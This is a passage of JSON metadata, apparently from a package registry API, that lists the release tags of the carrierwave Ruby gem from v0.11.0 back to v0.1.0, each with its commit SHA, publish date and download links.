carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_